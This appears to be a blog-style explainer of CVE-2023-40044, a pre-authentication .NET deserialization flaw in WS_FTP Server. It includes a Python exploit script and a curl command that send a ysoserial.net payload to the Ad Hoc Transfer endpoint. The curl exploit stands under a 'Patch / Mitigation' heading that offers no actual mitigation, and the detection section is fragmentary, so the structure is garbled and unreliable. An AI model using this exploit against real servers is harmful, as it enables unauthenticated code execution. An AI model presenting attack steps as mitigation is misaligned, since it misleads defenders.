CVE-2023-40044 - Exploiting a .NET Deserialization Vulnerability in WS_FTP Server for Remote Code Execution

In September 2023, Progress Software (formerly Ipswitch) disclosed a critical vulnerability in their WS_FTP Server product, tracked as CVE-2023-40044. This bug hit headlines due to its high impact—allowing attackers to execute arbitrary commands on the server without any authentication. The vulnerability lurks in the Ad Hoc Transfer module and is rooted in a classic .NET deserialization flaw. In this article, we’ll break down how this works, how exploits look in the wild, and how to protect yourself.

What is WS_FTP Server?

WS_FTP Server is a popular file transfer solution for secure business transfers, used by enterprises world-wide. It supports standard protocols (SFTP, FTPS, HTTP/S) and includes modules for secure file delivery, including the Ad Hoc Transfer.

The Vulnerability (CVE-2023-40044)

WS_FTP Server before v8.7.4 and v8.8.2 contains a flaw in the WS_FTP Server Ad Hoc Transfer Module. The root cause is unsafe deserialization of .NET objects, which means the software trusts user-supplied serialized data—a nightmare for security.

How the Exploit Works

At the heart, this is a pre-authentication Remote Code Execution (RCE). The attacker doesn’t even need valid credentials.

Exploit Flow

1. Attacker sends a POST request to a vulnerable endpoint exposed by the Ad Hoc Transfer module (like /AHT/WSFH/).
2. In the POST data, attacker hides a serialized .NET payload that, when processed, will execute a command (such as cmd.exe /c whoami).
3. The module deserializes the data using unsafe .NET BinaryFormatter or similar, triggering the attacker's code.

Example Exploit Code Snippet

Here’s a Python example using the requests library and using a generic .NET payload from ysoserial.net:

import requests

TARGET = "http://victim.com:80/AHT/WSFH/";
# Generate a payload that pops cmd.exe, e.g., using ysoserial.net
with open("ysoserial_payload.bin", "rb") as f:
    payload = f.read()

headers = {
    "Content-Type": "application/octet-stream"
}
r = requests.post(TARGET, data=payload, headers=headers)
print("Status:", r.status_code)
print("Response:", r.text)

> Replace ysoserial_payload.bin with an actual serialized payload that triggers your desired command.

Details: What is .NET Deserialization?

When software needs to turn objects into bytes and back (like saving to disk or sending over network), it "serializes" them. If an attacker controls the serialized data and the server trusts that data blindly, it’s possible to craft objects that, when deserialized, execute code. In .NET, the BinaryFormatter class is especially risky.

Detection

- Look for unusual POST requests to /AHT/WSFH/ and related URLs.

Unexplained files or server behavior.

## Patch / Mitigation

`

curl -X POST http://victim.com/AHT/WSFH/ --data-binary @payload.bin -H "Content-Type: application/octet-stream"

`

After running, calculator (or other command) opens on victim server.

References & Resources

- Progress Security Advisory for CVE-2023-40044
- Official WS_FTP Server Advisory
- Huntress Labs Writeup with PoC
- Rapid7 Blog: WS_FTP Server Exploitation
- ysoserial.net GitHub (payload generator)

Conclusion

CVE-2023-40044 is a textbook example of why unsafe deserialization is dangerous. With widespread use and public exploit code, organizations running WS_FTP Server must patch immediately or risk a breach. Always treat deserialization inputs as hostile, and keep a close eye on software modules facing the internet.


Stay safe! Always keep your software updated, restrict unnecessary modules, and monitor your systems for the unexpected.

Timeline

Published on: 09/27/2023 15:18:00 UTC
Last modified on: 10/02/2023 16:15:00 UTC